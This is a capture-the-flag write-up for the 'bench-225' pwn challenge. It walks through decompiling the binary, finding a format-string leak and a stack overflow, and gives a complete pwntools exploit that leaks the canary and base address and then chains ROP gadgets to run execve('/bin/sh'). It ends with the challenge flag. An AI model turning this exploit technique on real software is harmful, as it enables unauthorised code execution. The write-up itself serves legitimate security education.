Description

Life is one big tug of war. And you don’t win the war by pushing the rope.

Enumeration

Analyzing the binary

The user is presented with a binary file bench-225

bench-225: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=385df5c5d03be2e2d41d84bc  
0c0cf98ef8b322f0, for GNU/Linux 3.2.0, not stripped

First of all let’s checksec the binary

Arch:     amd64-64-little  
RELRO:    Full RELRO  
Stack:    Canary found  
NX:       NX enabled  
PIE:      PIE enabled

As we can see, all protections are enabled. And let’s check if there are any interesting ROP gadgets using ropper:

...
0x0000000000001332: pop rax; ret;    
0x0000000000001207: pop rbp; add byte ptr [rax], al; test rax, rax; je 0x1218; jmp rax;    
0x0000000000001248: pop rbp; add byte ptr [rax], al; test rax, rax; je 0x1258; jmp rax;    
0x0000000000001293: pop rbp; ret;    
0x0000000000001334: pop rbx; ret;    
0x000000000000133c: pop rcx; ret;    
0x000000000000100c: pop rdi; add byte ptr [rax], al; test rax, rax; je 0x1016; call rax;    
0x0000000000001336: pop rdi; ret;    
0x0000000000001338: pop rdx; ret;    
0x000000000000133a: pop rsi; ret;
...
0x000000000000101a: ret;    
0x000000000000133e: syscall;    
0x000000000000133e: syscall; ret;

It seems that there’s a lot of useful gadgets in this binary. Here’s the program running:

/  |                                    /  |              /      \  /      \ /       |    
$$ |____    ______   _______    _______ $$ |____         /$$$$$$  |/$$$$$$  |$$$$$$$/     
$$      \  /      \ /       \  /       |$$      \  ______$$____$$ |$$____$$ |$$ |____     
$$$$$$$  |/$$$$$$  |$$$$$$$  |/$$$$$$$/ $$$$$$$  |/      |/    $$/  /    $$/ $$      \    
$$ |  $$ |$$    $$ |$$ |  $$ |$$ |      $$ |  $$ |$$$$$$//$$$$$$/  /$$$$$$/  $$$$$$$  |  
$$ |__$$ |$$$$$$$$/ $$ |  $$ |$$ \_____ $$ |  $$ |       $$ |_____ $$ |_____ /  \__$$ |  
$$    $$/ $$       |$$ |  $$ |$$       |$$ |  $$ |       $$       |$$       |$$    $$/    
$$$$$$$/   $$$$$$$/ $$/   $$/  $$$$$$$/ $$/   $$/        $$$$$$$$/ $$$$$$$$/  $$$$$$/     
  
Grind doesn't stop.  
  
====================================  
Name: Gary Goggins  
Goal: 225 lbs x 25 reps  
Current Weight: 0  
Rep: 0/25  
Stamina: 140  
====================================  
  
Choose an option:  
1. Add 10s  
2. Add 25s  
3. Add 45s  
4. Bench  
5. Remove Plate

Decompiling

Here’s the main() function:

 
/* WARNING: Switch with 1 destination removed at 0x001015f9 */
/* WARNING: Exceeded maximum restarts with more pending */
 
void main(void)
 
{
  long in_FS_OFFSET;
  undefined4 local_14;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  puts(" __                                      __                ______    ______   _______  ");
  puts("/  |                                    /  |              /      \\  /      \\ /       | ");
  puts("$$ |____    ______   _______    _______ $$ |____         /$$$$$$  |/$$$$$$  |$$$$$$$/  ");
  puts("$$      \\  /      \\ /       \\  /       |$$      \\  ______$$____$$ |$$____$$ |$$ |____  "
      );
  puts("$$$$$$$  |/$$$$$$  |$$$$$$$  |/$$$$$$$/ $$$$$$$  |/      |/    $$/  /    $$/ $$      \\ ");
  puts("$$ |  $$ |$$    $$ |$$ |  $$ |$$ |      $$ |  $$ |$$$$$$//$$$$$$/  /$$$$$$/  $$$$$$$  |");
  puts("$$ |__$$ |$$$$$$$$/ $$ |  $$ |$$ \\_____ $$ |  $$ |       $$ |_____ $$ |_____ /  \\__$$ |");
  puts("$$    $$/ $$       |$$ |  $$ |$$       |$$ |  $$ |       $$       |$$       |$$    $$/ ");
  puts("$$$$$$$/   $$$$$$$/ $$/   $$/  $$$$$$$/ $$/   $$/        $$$$$$$$/ $$$$$$$$/  $$$$$$/  ");
  putchar(10);
  puts("Grind doesn\'t stop.");
  putchar(10);
  g_Barbell = 0;
  DAT_00107092 = 0xe1;
  DAT_0010709a = 0x8c;
  DAT_00107094 = 0x13b;
  DAT_00107098 = 0x19;
  DAT_00107096 = 0;
  do {
    puts("====================================");
    puts("Name: Gary Goggins");
    printf("Goal: %d lbs x %d reps\n",(ulong)DAT_00107092,(ulong)DAT_00107098);
    printf("Current Weight: %d\n",(ulong)g_Barbell);
    printf("Rep: %d/%d\n",(ulong)DAT_00107096,(ulong)DAT_00107098);
    printf("Stamina: %d\n",(ulong)DAT_0010709a);
    puts("====================================");
    putchar(10);
    puts("Choose an option:");
    puts("1. Add 10s");
    puts("2. Add 25s");
    puts("3. Add 45s");
    puts("4. Bench");
    puts("5. Remove Plate");
    if ((DAT_0010709a < 0x32) && (DAT_00107092 <= g_Barbell)) {
      puts("6. Motivational Quote");
    }
    __isoc99_scanf(&DAT_001034bf,&local_14);
                    /* WARNING: Could not find normalized switch variable to match jumptable */
                    /* WARNING: This code block may not be properly labeled as switch case */
    puts("Invalid choice.");
  } while( true );
}

As we can see in the code above, there’s a hidden option 6, it becomes visible only when a certain condition is met, using the printf lines we can rename the variables into more meaningful names

    puts("====================================");
    puts("Name: Gary Goggins");
    printf("Goal: %d lbs x %d reps\n",(ulong)goal,(ulong)reps);
    printf("Current Weight: %d\n",(ulong)current_weight);
    printf("Rep: %d/%d\n",(ulong)current_reps,(ulong)reps);
    printf("Stamina: %d\n",(ulong)stamina);
    puts("====================================");
    putchar(10);
    puts("Choose an option:");
    puts("1. Add 10s");
    puts("2. Add 25s");
    puts("3. Add 45s");
    puts("4. Bench");
    puts("5. Remove Plate");
    if ((stamina < 0x32) && (goal <= current_weight)) {
      puts("6. Motivational Quote");
    }

So, basically if we want to show the sixth option, we need to have stamina smaller than 50 and current_weight bigger than the goal.

TIP

When Ghidra displays warnings indicating potential issues with the decompilation of a specific function, it’s advisable to inspect the disassembly window. In cases where certain bytes are not disassembled and are labeled as ??, you can force Ghidra to disassemble them by pressing the letter D or selecting “Disassemble” from the context menu. Afterward, refreshing the decompilation window can help ensure a more accurate representation of the code.

Here’s the decompiled switch that Ghidra failed to decompile at first, I’ve also renamed some functions for readability:

switch(*(undefined4 *)(unaff_RBP + -0xc)) {
	default:
	  puts("Invalid choice.");
	  break;
	case 1:
	  add_10s();
	  break;
	case 2:
	  add_25s();
	  break;
	case 3:
	  add_45s();
	  break;
	case 4:
	  if (stamina == 0) {
		puts("You are too tired to continue.");
	  }
	  else {
		bench();
	  }
	  break;
	case 5:
	  printf("\x1b[2J");
	  puts("Weakness is a choice.");
	  break;
	case 6:
	  goto code_r0x00101677;
}

Now it makes sense to go check the motivation function, as it was the hidden option, so here’s the decompilation of it:

 
void motivation(void)
 
{
  int i;
  long in_FS_OFFSET;
  char local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  memset(local_18,0,8);
  printf("Enter your motivational quote: ");
  do {
    i = getchar();
    if (i == 10) break;
  } while (i != -1);
  fgets(local_18,1000,stdin);
  printf("\x1b[2J");
  printf("Quote: \"");
  printf(local_18);
  printf("\" - Gary Goggins");
  // redacted ...
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

The motivation function appears to have a buffer overflow vulnerability due to the fgets(local_18, 1000, stdin); line, as well as a format string vulnerability caused by printf(local_18);

Plan

Upon analyzing the binary, the initial plan was to exploit the format string vulnerability to leak the libc address and then construct a ROP chain to execute /bin/sh. But we lacked information about the specific libc version used on the remote server. This made it difficult to determine the correct addresses even if we successfully leaked some. Since only the binary was provided without any additional details, we needed to devise an alternative strategy.

The revised plan involved the following steps:

  1. Uncover the hidden motivation option.
  2. Leak the base address of the executable to establish a reference point.
  3. Directly read /bin/sh from standard input (stdin) into a writable address within the binary.
  4. Utilize the leaked base address and the ROP gadgets within the binary to call the execve system call with the address of /bin/sh, enabling us to spawn a shell.

Solution

To reveal the hidden option, we must manipulate the weight and stamina values within the program. Since the goal weight is 225 lbs and we have the options to add 10s, 20s, or 45s, we choose to add 5 of the 45s plates, which corresponds to option 3 in the program:

for i in range(5):
    io.recvuntil(b"5. Remove Plate")
    io.sendline(b"3")

Next, we need to set the stamina value to be less than 50. To achieve this, we repeatedly use the “bench” option (option 4) six times:

for i in range(6):
    io.recvuntil(b"5. Remove Plate")
    io.sendline(b"4")

The next step in the exploit involves extracting crucial data from the program’s memory, such as the canary value, the base address of the ELF binary, and a writable memory address. I utilized the format string vulnerability to accomplish this task and created a simple function for easier implementation:

def leak_address(offset):
    io.recvuntil(b"6. Motivational Quote")
    io.sendline(b"6")
 
    io.recvuntil(b"Enter your motivational quote:")
    io.sendline(f"%{offset}$p".encode("ascii"))
 
    address = int(io.recvuntil(b" - Gary Goggins").split(b":")[1].replace(b"\"", b"").replace(b"\n", b"").split(b"-")[0].strip(), 16)
    return address

This function allows us to specify an offset and retrieve the corresponding memory address by leveraging the format string vulnerability in the program.

After that we can leak the addresses and the canary as follows:

canary = leak_address(33)
log.success(f"canary: 0x{canary:x}")
 
elf.address = leak_address(17) - elf.symbols['main']
log.success(f"elf base: 0x{elf.address:x}")
 
writable_address = elf.address + 0x7150
log.success(f"writable address: 0x{writable_address:x}")

After obtaining the leaked addresses, we’re now ready for the next phase, which involves writing to the writable_address location. The rationale behind this step is that we lack information about the specific libc version used on the remote server. Therefore, we opt to utilize ROP gadgets available within the binary itself to spawn a shell. However, to achieve this, we must store the string /bin/sh in a location within memory.

TIP

You can use gdb-pwndbg with the vmmap command to locate a writable address. Simply look for any address that is marked with the write flag, and you can select that as your writable location.

Since we already acquired the base address of the binary, we can identify a writable location and utilize it as the storage for /bin/sh. To accomplish this, we initiate the first payload, which calls the syscall read to read from stdin, enabling us to write into the writable address:

# first stage ---------------------------------------------
payload = flat([
        cyclic(8),
        p64(canary),
        cyclic(8),
        p64(RET),
        p64(POP_RSI),
        p64(writable_address),
        p64(POP_RDI),
        p64(0),
        p64(POP_RDX),
        p64(0xff),
        p64(POP_RAX),
        p64(0), # read
        p64(SYSCALL),
        p64(RET),
        p64(elf.symbols['motivation'])
    ])
 
io.recvuntil(b"6. Motivational Quote")
io.sendline(b"6")
io.recvuntil(b"Enter your motivational quote:")
 
io.clean()
 
io.sendline(payload)
io.sendline(b"/bin/sh\x00")

Once the /bin/sh is stored, we’ll proceed by sending the second payload, which will grant us a shell:

payload = flat([
        cyclic(8),
        p64(canary),
        cyclic(8),
        p64(RET),
        p64(POP_RDI),
        p64(writable_address),
        p64(POP_RSI),
        p64(0),
        p64(POP_RDX),
        p64(0),
        p64(POP_RAX),
        p64(0x3b), # execve
        p64(SYSCALL),
    ])
 
io.recvuntil(b"Enter your motivational quote:")
io.sendline()
io.sendline(payload)
 

And here’s the full exploit:

from pwn import *
 
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)
 
gdbscript = '''
init-pwndbg
'''.format(**locals())
 
exe = './bench-225'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
 
io = start()
 
# setup the program to get the vulnerable option
for i in range(5):
    io.recvuntil(b"5. Remove Plate")
    io.sendline(b"3")
 
for i in range(6):
    io.recvuntil(b"5. Remove Plate")
    io.sendline(b"4")
 
# leak addresses 
def leak_address(offset):
    io.recvuntil(b"6. Motivational Quote")
    io.sendline(b"6")
 
    io.recvuntil(b"Enter your motivational quote:")
    io.sendline(f"%{offset}$p".encode("ascii"))
 
    address = int(io.recvuntil(b" - Gary Goggins").split(b":")[1].replace(b"\"", b"").replace(b"\n", b"").split(b"-")[0].strip(), 16)
    return address
 
canary = leak_address(33)
log.success(f"canary: 0x{canary:x}")
 
elf.address = leak_address(17) - elf.symbols['main']
log.success(f"elf base: 0x{elf.address:x}")
 
writable_address = elf.address + 0x7150
log.success(f"writable address: 0x{writable_address:x}")
 
# preparing rop gadgets ---------------------------------------------
POP_RDI = elf.address + 0x0000000000001336
POP_RSI = elf.address + 0x000000000000133a
POP_RDX = elf.address + 0x0000000000001338
POP_RAX = elf.address + 0x0000000000001332
SYSCALL = elf.address + 0x000000000000133e
RET     = elf.address + 0x000000000000101a
 
# first stage ---------------------------------------------
payload = flat([
        cyclic(8),
        p64(canary),
        cyclic(8),
        p64(RET),
        p64(POP_RSI),
        p64(writable_address),
        p64(POP_RDI),
        p64(0),
        p64(POP_RDX),
        p64(0xff),
        p64(POP_RAX),
        p64(0),
        p64(SYSCALL),
        p64(RET),
        p64(elf.symbols['motivation'])
    ])
 
io.recvuntil(b"6. Motivational Quote")
io.sendline(b"6")
io.recvuntil(b"Enter your motivational quote:")
 
io.clean()
 
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
 
# Second Stage ---------------------------------------------
payload = flat([
        cyclic(8),
        p64(canary),
        cyclic(8),
        p64(RET),
        p64(POP_RDI),
        p64(writable_address),
        p64(POP_RSI),
        p64(0),
        p64(POP_RDX),
        p64(0),
        p64(POP_RAX),
        p64(0x3b),
        p64(SYSCALL),
    ])
 
io.recvuntil(b"Enter your motivational quote:")
io.sendline()
io.sendline(payload)
 
io.clean()
 
# Got Shell?
io.interactive()

The flag :

UMASS{wh0$e_g0nn4_c4rry_t3h_r0pz_&nd_d4_ch41nz?}